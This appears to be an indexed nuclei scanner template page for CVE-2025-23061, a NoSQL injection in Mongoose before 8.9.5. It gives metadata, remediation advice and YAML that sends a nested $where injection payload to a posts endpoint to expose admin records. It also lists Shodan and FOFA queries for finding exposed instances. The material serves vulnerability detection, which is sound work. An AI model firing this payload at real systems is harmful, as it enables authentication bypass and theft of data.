CVE-2025-23061: Mongoose - NoSQL Injection
- Template: CVE-2025-23061
- Name: Mongoose - NoSQL Injection
- Description: NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
- Impact: Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
- Remediation: Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
- Severity: critical
- Authors: NamhyunKo
- Tags: cve, cve2025, nosql, mongoose, nodejs, vuln
- References: https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc, https://github.com/Automattic/mongoose/releases/tag/8.9.5, https://github.com/NamhyeonKo/mongoose-cve-lab, https://nvd.nist.gov/vuln/detail/CVE-2025-23061
- Cves: CVE-2025-23061
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-23061.yaml
- Digest: 4a0a0047304502202860c8f939ea7a2f056faa453b7973def5e04f7e5e57576e217524ce0e8e63a6022100a6c908e245de63a5bff5ca8a7859129cdb6e501f1dcfd06ac82171e1dbd88a4e
- Created at: 2025-09-05T15:46:22Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 445
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-23061.yaml
Classification
- Cwe: CWE-94
- Cvss score: 9
- Cvss vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.07236
- Epss percentile: 0.94478
- Cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
Metadata
- Fofa-query: title="Mongoose"
- Max-request: 1
- Shodan-query: title:"Mongoose"
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| mongoosejs:mongoose | yes | /v1/products/mongoosejs/mongoose |
Labels
- Name: Mongoose - NoSQL Injection
- Impact: Attackers can execute arbitrary queries, potentially leading to data leakage or manipulation.
- Remediation: Update to version 8.9.5 or later.
- Vulnerability type: nosql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-23061
- Not known: requirements
```yaml
id: CVE-2025-23061
info:
name: Mongoose - NoSQL Injection
author: NamhyunKo
severity: critical
description: |
NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
impact: |
Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
remediation: |
Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
reference:
- https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
- https://github.com/Automattic/mongoose/releases/tag/8.9.5
- https://github.com/NamhyeonKo/mongoose-cve-lab
- https://nvd.nist.gov/vuln/detail/CVE-2025-23061
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-23061
epss-score: 0.07236
epss-percentile: 0.94478
cwe-id: CWE-94
cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Mongoose"
fofa-query: title="Mongoose"
tags: cve,cve2025,nosql,mongoose,nodejs,vuln
http:
- method: GET
path:
- '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"isAdmin":true'
- '"title":'
- '"username":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
digest: 4a0a0047304502202860c8f939ea7a2f056faa453b7973def5e04f7e5e57576e217524ce0e8e63a6022100a6c908e245de63a5bff5ca8a7859129cdb6e501f1dcfd06ac82171e1dbd88a4e:922c64590222798bb761d5b6d8e72950
```